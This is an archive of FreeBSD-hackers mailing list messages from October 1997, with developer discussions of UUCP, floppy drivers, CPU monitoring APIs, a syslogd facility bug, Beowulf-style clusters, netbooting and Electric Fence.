To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: devfs / cdevsw In-reply-to: Your message of "Mon, 06 Oct 1997 07:52:32 -0000." <199710060752.AAA25610@usr02.primenet.com> Date: Mon, 06 Oct 1997 01:29:02 -0700 Message-ID: <2510.876126542@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't mean that the kerneitself should be, but in general, it is > a mistake toartifically restrict your market for nothing more than > religious reasons. Unless your goals are religious... Or if your views of "the market" aren't hopelessly antiquated. ;-) Somehow I just don't see all those old Xenix box users you mention storming our gates anytime soon. Jordan From owner-freebsd-hackers Mon Oct 6 01:34:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA14166 for hackers-outgoing; Mon, 6 Oct 1997 01:34:56 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA14151 for ; Mon, 6 Oct 1997 01:34:46 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA01021; Mon, 6 Oct 1997 18:01:18 +0930 (CST) Message-Id: <199710060831.SAA01021@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Terry Lambert cc: chad@dcfinc.com, freebsd-hackers@FreeBSD.ORG Subject: Re: new floppy driver In-reply-to: Your message of "Sun, 05 Oct 1997 23:36:37 GMT." <199710052336.QAA24018@usr05.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Oct 1997 18:01:11 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Is anyone working on changes to the floppy driver to support the > > new Imation LS-120? This is the drive that can use both the existing > > 1.44meg 3.5" floppies, and (using optical positioning) a new standard > > 120meg format. > > I haven't heard about this. You haven't been listening hard enough, obviously. > What programming information do you have for the thing (ie: how do > you recognize it and afterwards, talk to it?). It's an ATAPI disk device. You've got a lot of work in front of you to make it respond to your floppy driver. mike From owner-freebsd-hackers Mon Oct 6 02:00:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA15615 for hackers-outgoing; Mon, 6 Oct 1997 02:00:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA15545 for ; Mon, 6 Oct 1997 02:00:07 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA01151; Mon, 6 Oct 1997 18:27:11 +0930 (CST) Message-Id: <199710060857.SAA01151@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Zoltan Sebestyen cc: Mike Smith , FreeBSD hackers mailinglist Subject: Re: cpu/memory monitoring In-reply-to: Your message of "Mon, 06 Oct 1997 10:20:04 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Oct 1997 18:27:11 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hmm, the reason I asked for a simpler source than top's one is that I'm > porting an application that behaves like Win NT's taskmanager. It was For those of us that don't know what NT's taskmanager actually looks like, can you perhaps elaborate as to what your actual requirements are? > is its source code. That's why I asked for a simpler code which deals > only with the cpu/memory load monitoring part.(Anyone has written a > sample code like this?) If all you want is the CPU load average, the function getloadavg() should be all that you need. FreeBSD doesn't have such a thing as "free" memory, as unused memory is occupied by the buffer cache. You can look at the source for 'systat' for how to extract that sort of information. mike From owner-freebsd-hackers Mon Oct 6 02:31:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA16988 for hackers-outgoing; Mon, 6 Oct 1997 02:31:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA16962 for ; Mon, 6 Oct 1997 02:30:23 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id SAA00505; Mon, 6 Oct 1997 18:59:40 +0930 (CST) Message-ID: <19971006185940.27700@lemis.com> Date: Mon, 6 Oct 1997 18:59:40 +0930 From: Greg Lehey To: "Jordan K. Hubbard" Cc: dk+@ua.net, Mike Smith , pechter@lakewood.com, freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) References: <19971005234534.44590@dog.farm.org> <2369.876125643@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <2369.876125643@time.cdrom.com>; from Jordan K. Hubbard on Mon, Oct 06, 1997 at 01:14:03AM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 01:14:03AM -0700, Jordan K. Hubbard wrote: >> Who can decide on this? Is there a conspiracy behind it? ;-) > > Given that I don't particularly *care* about UUCP in the first place, > I really don't mind what goes into 2.2.5 as far as this is concerned. > > Anyone masochistic enough to still use UUCP in this day and age is > also capable of fixing any breakage that may occur, I think. Go for it. ;) The funny thing is, UUCP is no longer the can of worms it used to be. With Taylor command files, it's quite easy to set up. I wonder why people want anything else. Greg From owner-freebsd-hackers Mon Oct 6 04:03:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA20723 for hackers-outgoing; Mon, 6 Oct 1997 04:03:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from shell.monmouth.com (root@shell.monmouth.com [205.164.220.9]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA20711 for ; Mon, 6 Oct 1997 04:03:19 -0700 (PDT) (envelope-from pechter@lakewood.com) Received: from i4got.lakewood.com (ppp3.monmouth.com [205.164.220.35]) by shell.monmouth.com (8.8.5/8.7.3) with ESMTP id GAA14670; Mon, 6 Oct 1997 06:59:15 -0400 (EDT) Received: (from pechter@localhost) by i4got.lakewood.com id HAA01674 (8.8.5/IDA-1.6); Mon, 6 Oct 1997 07:02:56 -0400 (EDT) From: Bill Pechter Message-ID: <199710061102.HAA01674@i4got.lakewood.com> Subject: Re: UUCP (important clarification) In-Reply-To: <2369.876125643@time.cdrom.com> from "Jordan K. Hubbard" at "Oct 6, 97 01:14:03 am" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 6 Oct 1997 07:02:55 -0400 (EDT) Cc: dk+@ua.net, grog@lemis.com, mike@smith.net.au, pechter@lakewood.com, freebsd-hackers@FreeBSD.ORG Reply-to: pechter@lakewood.com X-Phone-Number: 908-389-3592 X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Who can decide on this? Is there a conspiracy behind it? ;-) > > Given that I don't particularly *care* about UUCP in the first place, > I really don't mind what goes into 2.2.5 as far as this is concerned. > > Anyone masochistic enough to still use UUCP in this day and age is > also capable of fixing any breakage that may occur, I think. Go for it. ;) > > Jordan > Masochistic 8-) UUCP is much easier to configure than, say gated.conf! Bill ------------------------------------------------------------------------------ Bill Pechter | 17 Meredith Drive Tinton Falls, NJ 07724 | 908-389-3592 pechter@lakewood.com | Save computing history, give an old geek old hardware. This msg brought to you by the letters PDP and the number 11. From owner-freebsd-hackers Mon Oct 6 04:33:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA21868 for hackers-outgoing; Mon, 6 Oct 1997 04:33:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gate.mgt.msk.ru (mgtrep.24h.dialup.ru [194.87.18.139]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA21845; Mon, 6 Oct 1997 04:32:59 -0700 (PDT) (envelope-from tarkhil@mgt.msk.ru) Received: from asteroid.mgt.msk.ru (asteroid.mgt.msk.ru [192.168.133.145]) by gate.mgt.msk.ru (8.8.6/8.8.6) with ESMTP id PAA01137; Mon, 6 Oct 1997 15:32:02 +0400 (MSD) Received: from asteroid.mgt.msk.ru (localhost.mgt.msk.ru [127.0.0.1]) by asteroid.mgt.msk.ru (8.8.7/8.8.6) with ESMTP id PAA19069; Mon, 6 Oct 1997 15:32:22 +0400 (MSD) Message-Id: <199710061132.PAA19069@asteroid.mgt.msk.ru> To: stable@freebsd.org cc: hackers@freebsd.org Reply-To: tarkhil@mgt.msk.ru Subject: bug in syslogd! Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Oct 1997 15:32:20 +0400 From: "Alexander B. Povolotsky" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello! Trying to set up syslogd to make time marks, I've found bug in /usr/include/ syslog.h: in facilitynames, _ALL_ facility codes are shifted 3 bits left. EXCEPT INTERNAL_MARK, so it is impossible to set mark.info from syslog.conf. I don't know if I should change definition of INTERNAL_MARK, or the corresponding line in facilityname. Hope someone more familiar with FBSD internals can fix it properly. Alex. From owner-freebsd-hackers Mon Oct 6 05:58:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA26039 for hackers-outgoing; Mon, 6 Oct 1997 05:58:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA26034 for ; Mon, 6 Oct 1997 05:58:11 -0700 (PDT) (envelope-from jamie@itribe.net) Message-Id: <199710061250.IAA27597@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Mon, 6 Oct 1997 08:54:36 -0400 (EDT) From: Jamie Bowden To: Andreas Klemm cc: freebsd-hackers@freebsd.org Subject: Re: Good Lord, Commercial Linux In-Reply-To: <19971004210211.32240@klemm.gtn.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 4 Oct 1997, Andreas Klemm wrote: > > Kernel-wise, I think i trust FreeBSD kernel better than Linux, > > although performance is, well, six of this, half a dozen of the > > other; Both are tuned very well. > > Could you please explain this a little more verbose as well. > > So you are saying that FreeBSD has about half the performance > as Linux ? You're kidding ;-) He's using an expression. Means they are about the same overall, with FreeBSD being better at some things, and Linux being better at others. Six of something and a half dozen of something are both six of something. Jamie Bowden System Administrator, iTRiBE.net Abusenet: The Misinformation Superhighway From owner-freebsd-hackers Mon Oct 6 05:58:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA26068 for hackers-outgoing; Mon, 6 Oct 1997 05:58:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA26062 for ; Mon, 6 Oct 1997 05:58:24 -0700 (PDT) (envelope-from sebesty@cs.elte.hu) Received: from neumann.cs.elte.hu (neumann [157.181.6.200]) by konig.elte.hu (8.8.3/8.7.3/7s) with ESMTP id OAA10816; Mon, 6 Oct 1997 14:58:00 +0200 Received: from localhost (sebesty@localhost) by neumann.cs.elte.hu (8.8.3/8.7.3/4c) with SMTP id OAA14013; Mon, 6 Oct 1997 14:58:22 +0200 X-Authentication-Warning: neumann.cs.elte.hu: sebesty owned process doing -bs Date: Mon, 6 Oct 1997 14:58:22 +0200 (MET DST) From: Zoltan Sebestyen To: Mike Smith cc: FreeBSD hackers mailinglist Subject: Re: cpu/memory monitoring In-Reply-To: <199710060857.SAA01151@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Mike Smith wrote: > > Hmm, the reason I asked for a simpler source than top's one is that I'm > > porting an application that behaves like Win NT's taskmanager. It was > > For those of us that don't know what NT's taskmanager actually looks > like, can you perhaps elaborate as to what your actual requirements are? > > If all you want is the CPU load average, the function getloadavg() > should be all that you need. FreeBSD doesn't have such a thing as > "free" memory, as unused memory is occupied by the buffer cache. You > can look at the source for 'systat' for how to extract that sort of > information. > > mike > Hi, The application I'm porting was written on Linux and has nothing to do with NT's taskmanager except for its look. It displays the "user", "nice" "system" cpuload and it get their actual state from /proc/stat and DOESN'T transform them to any 'dumb' form. On FreeBSD you can get these pieces of information from the kernel memory the the kvm API(A couple of functions, their names start with 'kvm_') Top is an excellent example on how to get them, but its source code is a bit complex, that's why I asked for a program with simpler code. I dealt with getloadavg() for a while, but it gives not that kind of information I wanted. -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Mon Oct 6 06:10:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA26631 for hackers-outgoing; Mon, 6 Oct 1997 06:10:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA26614; Mon, 6 Oct 1997 06:10:49 -0700 (PDT) (envelope-from rminnich@Sarnoff.COM) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id JAA12474; Mon, 6 Oct 1997 09:09:37 -0400 Date: Mon, 6 Oct 1997 09:09:36 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: Douglas Carmichael cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710042258.RAA00924@dcarmich.pr.mcs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 4 Oct 1997, Douglas Carmichael wrote: > Is there any way one can build large "Beowulf-like" clusters >with FreeBSD and its SMP functionality? > Anyone built such a beast? well, yeah, i built such a beast and have had it running since 1994. Lots of pc clusters went up about that time, including beowulf. See the web page www.sarnoff.com:8000. This cluster paid for itself in well under a year, with real money mind you, not internal funny money accounting. It's quite nice. There's nothing very special about a beowulf: it's cheap PCs running linux. There's some value added in additional GSFC-written software, but not to the level that differentiates it in a big way. Beowulf is a special instance of a general idea, the compute cluster. People have been building compute clusters for almost ten years, some of them using up to 300 processors. (some names: Fermilabs; SCRI; an interesting site in Alabama of all places; Sun Labs [Mica]. All built 128+ processor clusters at least five years ago). A cluster based on FreeBSD would I suppose have to have a different name, but we've done a lot of computing over the last three years with such a cluster: works fine. To my regret, FreeBSD dropped a nice opportunity a few years back to have the first real distributed shared memory on a free Unix when I offered them MNFS, but them's the breaks. That distinction went to Linux instead. Beowulf is currently using my ZOUNDS DSM, but are in the process of rolling their own. I've checked theirs out and don't like it: it uses a model I abandoned as too inflexible 6 years ago. I'm sticking with ZOUNDS. Go for it. Oh yeah if you want the latest ZOUNDS let me know. The earlier version would not compile on 2.2 due to some #include stupidity on my part. I'll try to get the latest one out to the web page ASAP. Don't forget to pick a catchy name. That's at least as important as what you do. ron Ron Minnich |Java: an operating-system-independent, rminnich@sarnoff.com |architecture-independent programming language (609)-734-3120 |for Windows/95 and Windows/NT on the Pentium ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Mon Oct 6 06:12:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA26768 for hackers-outgoing; Mon, 6 Oct 1997 06:12:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA26759; Mon, 6 Oct 1997 06:12:19 -0700 (PDT) (envelope-from rminnich@Sarnoff.COM) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id JAA12483; Mon, 6 Oct 1997 09:11:00 -0400 Date: Mon, 6 Oct 1997 09:11:00 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: "Russell L. Carter" cc: dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710050116.SAA29007@cssunix.conceptual.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 4 Oct 1997, Russell L. Carter wrote: > Yes. > Now it is a curious thing that NFS server perf. is not considered, > but such is life. > In fact, there are lots of interesting questions to be asked, > but, who am I to ask them? you know how it goes russell, PR beats technical information every day of the week. For those who don't know, russell built a freebsd cluster at sandia in, what, ca. 1994 russell? ron From owner-freebsd-hackers Mon Oct 6 07:05:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA00356 for hackers-outgoing; Mon, 6 Oct 1997 07:05:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id HAA00348 for ; Mon, 6 Oct 1997 07:05:55 -0700 (PDT) (envelope-from jamie@itribe.net) Message-Id: <199710061405.KAA27927@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Mon, 6 Oct 1997 10:08:47 -0400 (EDT) From: Jamie Bowden To: hackers@freebsd.org Subject: Re: UUCP (important clarification) In-Reply-To: <199710061102.HAA01674@i4got.lakewood.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Bill Pechter wrote: > > > Who can decide on this? Is there a conspiracy behind it? ;-) > > > > Given that I don't particularly *care* about UUCP in the first place, > > I really don't mind what goes into 2.2.5 as far as this is concerned. > > > > Anyone masochistic enough to still use UUCP in this day and age is > > also capable of fixing any breakage that may occur, I think. Go for it. ;) > > > > Jordan > > > > Masochistic 8-) > > UUCP is much easier to configure than, say gated.conf! > > Bill I found gated much easier to deal with than UUCP. Must be an individual thing. Jamie Bowden System Administrator, iTRiBE.net Abusenet: The Misinformation Superhighway From owner-freebsd-hackers Mon Oct 6 07:16:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA00786 for hackers-outgoing; Mon, 6 Oct 1997 07:16:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA00774 for ; Mon, 6 Oct 1997 07:16:22 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z13) with ESMTP id PAA02753; Mon, 6 Oct 1997 15:22:29 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id PAA01142; Mon, 6 Oct 1997 15:29:28 +0200 (MEST) Message-ID: <19971006152927.32438@gil.physik.rwth-aachen.de> Date: Mon, 6 Oct 1997 15:29:27 +0200 From: Christoph Kukulies To: Christoph Kukulies Cc: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG Subject: Re: netboot.com References: <199710021515.RAA01742@gil.physik.rwth-aachen.de> <199710021711.SAA12765@labinfo.iet.unipi.it> <19971003082346.17295@gil.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19971003082346.17295@gil.physik.rwth-aachen.de>; from Christoph Kukulies on Fri, Oct 03, 1997 at 08:23:46AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Oct 03, 1997 at 08:23:46AM +0200, Christoph Kukulies wrote: > On Thu, Oct 02, 1997 at 06:11:00PM +0100, Luigi Rizzo wrote: > > > Anyone using netboot.com recently? > > > > > > I compiled a version for WD (-DINCLUDE_WD) and want to use it > > > with a WD8013. > > > > I am using it everyday although my code is pretty old (april perhaps ?) > > Am having no problems. Do you want a copy of my sources (mostly the > > same as -current) > > Yes. please. > But only if you are using a WD80xx card and not a PCI card nor a > NE2000 or 3COM. > > Does the load address play a role? 0x90000 ? Just to let you know that diskless booting work out: The problem was: I tried always to run netboot.com from the DOS floppy. The correct program is nb8390.com (or whatever is appropriate to one's network card). The latter is the binary skipped by one block which seems just what a .com files makes. Could swaer that I formerly ran the netboot.com successfully (2 or 3 years ago) > > > > > Cheers > > Luigi > > -- > --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de -- --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Mon Oct 6 07:28:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA01351 for hackers-outgoing; Mon, 6 Oct 1997 07:28:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA01345; Mon, 6 Oct 1997 07:28:22 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id KAA23969; Mon, 6 Oct 1997 10:28:04 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id KAA04548; Mon, 6 Oct 1997 10:44:06 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id KAA06943; Mon, 6 Oct 1997 10:33:54 -0400 (EDT) Date: Mon, 6 Oct 1997 10:33:54 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710061433.KAA06943@lakes.dignus.com> To: freebsd-bugs@FreeBSD.ORG, hackers@FreeBSD.ORG, roberto@keltia.freenix.fr Subject: Re: Electric Fence info (was Re: Bug in malloc/free (was: Memory leak in getservbyXXX?)) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > According to Thomas David Rivers: > > Ok - there seems to be enough interest... Here's the man page > > for electric fence (which does the mprotect() trick Jordan mentions): > > The main problem of EFence is the amount of swap it takes... I tried to run > Mutt through it a few months ago and ran out of swap _before_ displaying > anything. > -- > Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 3.0-CURRENT #35: Sun Sep 21 19:28:07 CEST 1997 > Yes - it does require a lot of swap... in most cases, it places every malloc allocation on it's own page (so it can correctly set the bits...) This is where vnconfig, etc... come in handy. When necessary, I've simply vnconfig'd a device pointing to a file in /tmp and added swap that way. - Dave Rivers - From owner-freebsd-hackers Mon Oct 6 07:37:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA01896 for hackers-outgoing; Mon, 6 Oct 1997 07:37:59 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA01877 for ; Mon, 6 Oct 1997 07:37:43 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id KAA24542; Mon, 6 Oct 1997 10:31:45 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id KAA04558; Mon, 6 Oct 1997 10:47:47 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id KAA06974; Mon, 6 Oct 1997 10:37:36 -0400 (EDT) Date: Mon, 6 Oct 1997 10:37:36 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710061437.KAA06974@lakes.dignus.com> To: grog@lemis.com, jkh@time.cdrom.com Subject: Re: UUCP (important clarification) Cc: dk+@ua.net, freebsd-hackers@FreeBSD.ORG, mike@smith.net.au, pechter@lakewood.com Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > On Mon, Oct 06, 1997 at 01:14:03AM -0700, Jordan K. Hubbard wrote: > >> Who can decide on this? Is there a conspiracy behind it? ;-) > > > > Given that I don't particularly *care* about UUCP in the first place, > > I really don't mind what goes into 2.2.5 as far as this is concerned. > > > > Anyone masochistic enough to still use UUCP in this day and age is > > also capable of fixing any breakage that may occur, I think. Go for it. ;) > > The funny thing is, UUCP is no longer the can of worms it used to be. > With Taylor command files, it's quite easy to set up. I wonder why > people want anything else. > > Greg > (If you mean, anything else other than Taylor config files...) Well - you saw my reasons before... mostly because that's how I've done it for many years... but, other than that - you're right. I'm glad to see this going into 2.2.5.... - Dave Rivers - From owner-freebsd-hackers Mon Oct 6 07:44:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA02397 for hackers-outgoing; Mon, 6 Oct 1997 07:44:07 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA02389 for ; Mon, 6 Oct 1997 07:44:03 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: from argus.tfs.net (node21.tfs.net [207.2.220.21]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id JAA19150; Mon, 6 Oct 1997 09:42:35 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id JAA03872; Mon, 6 Oct 1997 09:43:55 -0500 (CDT) From: Jim Bryant Message-Id: <199710061443.JAA03872@argus.tfs.net> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: from "Ron G. Minnich" at "Oct 6, 97 09:09:36 am" To: rminnich@Sarnoff.COM (Ron G. Minnich) Date: Mon, 6 Oct 1997 09:43:55 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > On Sat, 4 Oct 1997, Douglas Carmichael wrote: > > Is there any way one can build large "Beowulf-like" clusters > >with FreeBSD and its SMP functionality? > > Anyone built such a beast? > > [. . .] > > not to the level that differentiates it in a big way. Beowulf is a special > instance of a general idea, the compute cluster. People have been > building compute clusters for almost ten years, some of them using up to > 300 processors. (some names: Fermilabs; SCRI; an interesting site in > Alabama of all places; Sun Labs [Mica]. All built 128+ processor > clusters at least five years ago). A cluster based on FreeBSD would > I suppose have to have a different name, but we've done a lot of computing > over the last three years with such a cluster: works fine. Was not the first at Sandia, using VAXen? '88? Hmmmmm.... Parallel Virtual Machines or some name like that? I recall that on the test apps, it outperformed a X/MP or Y/MP... Do the programs have to be hand-designed, or is there a vectorizing compiler available? I have a copy of the PVM[?] stuff somewhere, and remember that it required hand coding the whole thing... Or is this just SMP stuff... Hmmm... A roomful of PPros or P-II's, vectorizing compiler.... [oops, I'm drooling]... Of course, I always thought that this was simply an extension of the transputer concept, except using standard networks, and standard computers instead. Nothing wrong with this. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Mon Oct 6 08:05:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA03388 for hackers-outgoing; Mon, 6 Oct 1997 08:05:54 -0700 (PDT) (envelope-from 